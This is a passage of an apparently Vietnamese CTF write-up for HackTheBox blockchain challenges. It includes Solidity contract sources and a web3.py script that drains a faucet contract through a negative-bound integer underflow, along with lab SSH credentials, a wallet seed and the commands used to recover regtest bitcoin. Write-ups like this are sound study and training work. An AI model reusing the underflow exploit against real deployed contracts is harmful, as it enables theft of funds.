~~`HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}`~~ ### Note - Bên cạnh đó, mình có thể sử dụng một tool lỏ có tên là `Foundry` nhưng tạm thời mình chưa tìm hiểu kĩ nên thôi :monkey: --- ## 2. Lucky Faucet ### Description - `Setup.sol`: ```sol= // SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.6; import {LuckyFaucet} from "./LuckyFaucet.sol"; contract Setup { LuckyFaucet public immutable TARGET; uint256 constant INITIAL_BALANCE = 500 ether; constructor() payable { TARGET = new LuckyFaucet{value: INITIAL_BALANCE}(); } function isSolved() public view returns (bool) { return address(TARGET).balance <= INITIAL_BALANCE - 10 ether; } } ``` - `LuckyFaucet`: ```sol= // SPDX-License-Identifier: MIT pragma solidity 0.7.6; contract LuckyFaucet { int64 public upperBound; int64 public lowerBound; constructor() payable { // start with 50M-100M wei Range until player changes it upperBound = 100_000_000; lowerBound = 50_000_000; } function setBounds(int64 _newLowerBound, int64 _newUpperBound) public { require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry"); require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry"); require(_newLowerBound <= _newUpperBound); // why? because if you don't need this much, pls lower the upper bound :) // we don't have infinite money glitch. upperBound = _newUpperBound; lowerBound = _newLowerBound; } function sendRandomETH() public returns (bool, uint64) { int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓" // we can safely cast to uint64 since we'll never // have to worry about sending more than 2**64 - 1 wei uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); bool sent = msg.sender.send(amountToSend); return (sent, amountToSend); } } ``` ### Solution - Sau khi trải nghiệm một bài blockchain đơn giản thì mình bị quẳng ngay một bài lỏ. Mình sẽ chỉ giải thích điều kiện để lấy được flag, phân tích những gì mình có và cách exploit thui. - Trước tiên đọc file `Setup.sol` biết được: - `TARGET` của mình có 500 `Ether` khởi tạo - Lấy được flag khi tiền của `TARGET` bị hụt đi 10 `Ether` - Còn với file `LuckyFaucet`: - Khai báo hai mức `Bound`, một là max một là min - Khai báo một hàm `setBounds()` cho phép mình thay đổi `Bound` - Khai báo hàm `sendRandomETH()`. Hàm này như một cái vòi nước từ túi của `TARGET`, dùng để gửi tiền cho mình nhưng là tiền trong giới hạn `Bound` thôi. - Qua phân tích trên, cộng với việc hàm `setBounds()` là hàm mình có thể call vào, thì chắc chắn lỗ hổng nằm ở đây. Mình cần lấy đi `Ether` từ `TARGET`, mà tiền của `TARGET` phụ thuộc vào `Bound` do mình set, vậy nên đây là hướng đi. - Tất nhiên, câu hỏi sẽ là `Bound` như nào mới bypass, vậy mình cần phân tích lượng tiền mà nó gửi: ```sol uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound) ``` - Mình cần làm sao cho lượng `amountToSend` càng lớn càng tốt. Bên cạnh đó, trong Solidity, nếu mình khai báo một số `k < 0` ở dạng `uint64`, số trả về sẽ cực lớn, cụ thể là `uint64(k) = 2**64 + k`. Sure về hướng exploit rồi, giờ thì tới code thôi: ```python= import eth_account from web3 import Web3 RPC = '' private_key = '' address = '' target_contract_address = '' w3 = Web3(Web3.HTTPProvider(RPC)) target_contract_abi = [ { "inputs": [], "stateMutability": "payable", "type": "constructor" }, { "inputs": [], "name": "upperBound", "outputs": [{"internalType": "int64", "name": "", "type": "int64"}], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "lowerBound", "outputs": [{"internalType": "int64", "name": "", "type": "int64"}], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "sendRandomETH", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}, {"internalType": "uint64", "name": "", "type": "uint64"}], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [{"internalType": "int64", "name": "_newLowerBound", "type": "int64"}, {"internalType": "int64", "name": "_newUpperBound", "type": "int64"}], "name": "setBounds", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ] my_account = eth_account.Account.from_key(private_key) w3.eth.default_account = my_account.address target_contract = w3.eth.contract(address=target_contract_address, abi=target_contract_abi) target_contract.functions.setBounds(-10000000000000000, 100000000).transact() tx_hash = target_contract.functions.sendRandomETH().transact() tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print("Transaction successful") if w3.eth.get_balance(my_account.address) >= 10 * 10**18: print("Exploited successfully!") else: print("Set bounds again!") ``` (Nhớ thay thế các giá trị vào nha :heart:) ![TARGET](https://hackmd.io/_uploads/BJNSnaZRp.png) ### Flag > ~~`HTB{1_f0rg0r_s0m3_U}`~~ ### Note - Cần lưu ý tiền chỉ gửi một lần nên không thể set vòng lặp như bài trước đâu :money_with_wings: - `10 Ether` tương đương với `10 * 10**18 wei` và tiền giao dịch theo đơn vị `wei` nên có phép so sánh ở dòng 56 kia :moneybag:. --- ## 3. Recovery ### Description - We are The Profits. During a hacking battle our infrastructure was compromised as were the private keys to our Bitcoin wallet that we kept. - We managed to track the hacker and were able to get some SSH credentials into one of his personal cloud instances, can you try to recover my Bitcoins? - Username: satoshi - Password: L4mb0Pr0j3ct - NOTE: Network is regtest, check connection info in the handler first. ### Solution - Đây là chall duy nhất trong Blockchain không cho một file gì :penguin:, bên cạnh đó còn cho 1 IP nhưng với 3 Ports, siêu lỏ. - Mình sẽ phân tích 3 Ports và cách dùng: - Port 1: Vác vào SSH để lấy seed - sử dụng để recover lại ví (Dùng với Electrum) - Port 2: Dùng để tạo một network loại regtest - dùng cho thí nghiệm và không ảnh hưởng đến các lưu thông tiền ảo bên ngoài. - Port 3: Tương tác với server và lấy flag - dùng nc - Mình sẽ tổng hợp các bước và thông tin ở dưới đây (theo thời điểm làm bài của mình vì Docker mỗi người một khác): ``` IP: 94.237.50.175 PORT 1: 41769 ssh satoshi@94.237.50.175 -p 41769 L4mb0Pr0j3ct -------------------------------------------------- PORT 2: 31819 & "E:\Electrum\electrum-4.5.3.exe" --regtest --oneserver -s 94.237.50.175:31819:t -------------------------------------------------- PORT 3: 37501 nc 94.237.50.175 37501 ``` - Các bước: ![1](https://hackmd.io/_uploads/HyS1gRb0p.png) --> Seed: fortune bubble wealth all sure sun awful agree energy possible margin green ![2](https://hackmd.io/_uploads/HJ1YeRZR6.png) - Nhập vài thông tin linh tinh, chọn `Standard wallet` rồi `I already have a seed` ![3](https://hackmd.io/_uploads/S1gTl0-Aa.png) - Nhảy ra như thế này là oke ![4](https://hackmd.io/_uploads/SJz1bC-Rp.png) - Chúng ta sẽ quay sang nc để lấy thông tin người cần gửi ![5](https://hackmd.io/_uploads/Sy0WZAbAp.png) - Tới đây lấy thông tài tài khoản đích: --> Address: `bcrt1qs7qqy5573cqqd6d3uj7htn2x02hqrk3yde3ygr` - Quay lại Electrum và giao dịch ![6](https://hackmd.io/_uploads/SkRLbA-C6.png) ![7](https://hackmd.io/_uploads/H19wb0-CT.png) ![8](https://hackmd.io/_uploads/rkhuWC-Ap.png) - Rồi back lại server lấy flag là xong ![9](https://hackmd.io/_uploads/SJzjWAZRT.png) ### Flag > ~~`HTB{n0t_y0ur_k3ys_n0t_y0ur_c01n5}`~~ ### Note - Bài này mình được `Thụy AT20` support, sau khi làm thì thấy chall chả khác :dog: gì Forensics very easy cả :penguin: --- ## 4. Ledger Heist ### Description - Amidst the dystopian chaos, the LoanPool stands as a beacon for the oppressed, allowing the brave to deposit tokens in support of the cause. Your mission, should you choose to accept it, is to exploit the system's vulnerabilities and siphon tokens from this pool, a daring act of digital subterfuge aimed at weakening the regime's economic stronghold. Success means redistributing wealth back to the people, a crucial step towards undermining the oppressors' grip on power. - `Errors.sol`: ```sol= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; error NotSupported(address token); error CallbackFailed(); error LoanNotRepaid(); error InsufficientBalance(); ``` - `Events.sol`: ```sol= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface Events { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event FlashLoanSuccessful( address indexed target, address indexed initiator, address indexed token, uint256 amount, uint256 fee ); event FeesUpdated(address indexed token, address indexed user, uint256 fees); } ``` - `FixedPointMath.sol`: ```sol= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; library FixedMathLib { function fixedMulFloor(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256) { return self * b / denominator; } function fixedMulCeil(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256 result) { uint256 _mul = self * b; if (_mul % denominator == 0) { result = _mul / denominator; } else { result = _mul / denominator + 1; } } function fixedDivFloor(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256) { return self * denominator / b; } function fixedDivCeil(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256 result) { uint256 _mul = self * denominator; if (_mul % b == 0) { result = _mul / b; } else { result = _mul / b + 1; } } } ``` - `Interfaces.sol`: ```sol= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface IERC20Minimal { function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } interface IERC3156FlashBorrower { function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32); } ``` - `LoanPool.sol`: ```sol= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {FixedMathLib} from "./FixedPointMath.sol"; import "./Errors.sol"; import {IERC20Minimal, IERC3156FlashBorrower} from "./Interfaces.sol"; import {Events} from "./Events.sol"; struct UserRecord { uint256 feePerShare; uint256 fees; uint256 balance; } contract LoanPool is Events { using FixedMathLib for uint256; uint256 constant BONE = 10 ** 18; address public underlying; uint256 public totalSupply; uint256 public feePerShare; mapping(address => UserRecord) public userRecords; constructor(address _underlying) { underlying = _underlying; } function deposit(uint256 amount) external { address _msgsender = msg.sender; _updateFees(_msgsender); IERC20Minimal(underlying).transferFrom(_msgsender, address(this), amount); _mint(_msgsender, amount); } function withdraw(uint256 amount) external { address _msgsender = msg.sender; if (userRecords[_msgsender].balance < amount) { revert InsufficientBalance(); } _updateFees(_msgsender); _burn(_msgsender, amount); // Send also any fees accumulated to user uint256 fees = userRecords[_msgsender].fees; if (fees > 0) { userRecords[_msgsender].fees = 0; amount += fees; emit FeesUpdated(underlying, _msgsender, fees); } IERC20Minimal(underlying).transfer(_msgsender, amount); } function balanceOf(address account) public view returns (uint256) { return userRecords[account].balance; } // Flash loan EIP function maxFlashLoan(address token) external view returns (uint256) { if (token != underlying) { revert NotSupported(token); } return IERC20Minimal(token).balanceOf(address(this)); } function flashFee(address token, uint256 amount) external view returns (uint256) { if (token != underlying) { revert NotSupported(token); } return _computeFee(amount); } function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data) external returns (bool) { if (token != underlying) { revert NotSupported(token); } IERC20Minimal _token = IERC20Minimal(underlying); uint256 _balanceBefore = _token.balanceOf(address(this)); if (amount > _balanceBefore) { revert InsufficientBalance(); } uint256 _fee = _computeFee(amount); _token.transfer(address(receiver), amount); if ( receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data) != keccak256("ERC3156FlashBorrower.onFlashLoan") ) { revert CallbackFailed(); } uint256 _balanceAfter = _token.balanceOf(address(this)); if (_balanceAfter < _balanceBefore + _fee) { revert LoanNotRepaid(); } // Accumulate fees and update feePerShare uint256 interest = _balanceAfter - _balanceBefore; feePerShare += interest.fixedDivFloor(totalSupply, BONE); emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee); return true; } // Private methods function _mint(address to, uint256 amount) private { totalSupply += amount; userRecords[to].balance += amount; emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) private { totalSupply -= amount; userRecords[from].balance -= amount; emit Transfer(from, address(0), amount); } function _updateFees(address _user) private { UserRecord storage record = userRecords[_user]; uint256 fees = record.balance.fixedMulCeil((feePerShare - record.feePerShare), BONE); record.fees += fees; record.feePerShare = feePerShare; emit FeesUpdated(underlying, _user, fees); } function _computeFee(uint256 amount) private pure returns (uint256) { // 0.05% fee return amount.fixedMulCeil(5 * BONE / 10_000, BONE); } } ``` - `Setup.sol`: ```sol= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {LoanPool} from "./LoanPool.sol"; import {Token} from "./Token.sol"; contract Setup { LoanPool public immutable TARGET; Token public immutable TOKEN; constructor(address _user) { TOKEN = new Token(_user); TARGET = new LoanPool(address(TOKEN)); TOKEN.approve(address(TARGET), type(uint256).max); TARGET.deposit(10 ether); } function isSolved() public view returns (bool) { return (TARGET.totalSupply() == 10 ether && TOKEN.balanceOf(address(TARGET)) < 10 ether); } } ``` - `Token.sol`: ```sol= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Events} from "./Events.sol"; contract Token is Events { string public name = "Token"; string public symbol = "Tok"; uint8 public immutable decimals = 18; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; constructor(address _user) payable { _mint(msg.sender, 10 ether); _mint(_user, 1 ether); } function approve(address spender, uint256 amount) public returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[to] += amount; emit Transfer(msg.sender, to, amount); return true; } function transferFrom(address from, address to, uint256 amount) public returns (bool) { allowance[from][msg.sender] -= amount; balanceOf[from] -= amount; balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } function _mint(address to, uint256 amount) private { balanceOf[to] += amount; totalSupply += amount; emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) private { balanceOf[from] -= amount; totalSupply -= amount; emit Transfer(from, address(0), amount); } } ``` ### Solution - Viết thế này thôi chứ mình biết giải :dog: đâu mà :penguin:. Hẹn gặp lại vào một ngày mình lỏ hơn :moneybag: --- # III. Ending - Kết thúc giải mình vừa vui vừa tiếc vì không thể clear Crypto sớm mặc dù nó khá dễ, mong sao các giải tiếp theo mình đủ lỏ để solve trong thời gian ngắn hơn như anh Hưng Chiến expect :heart:

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully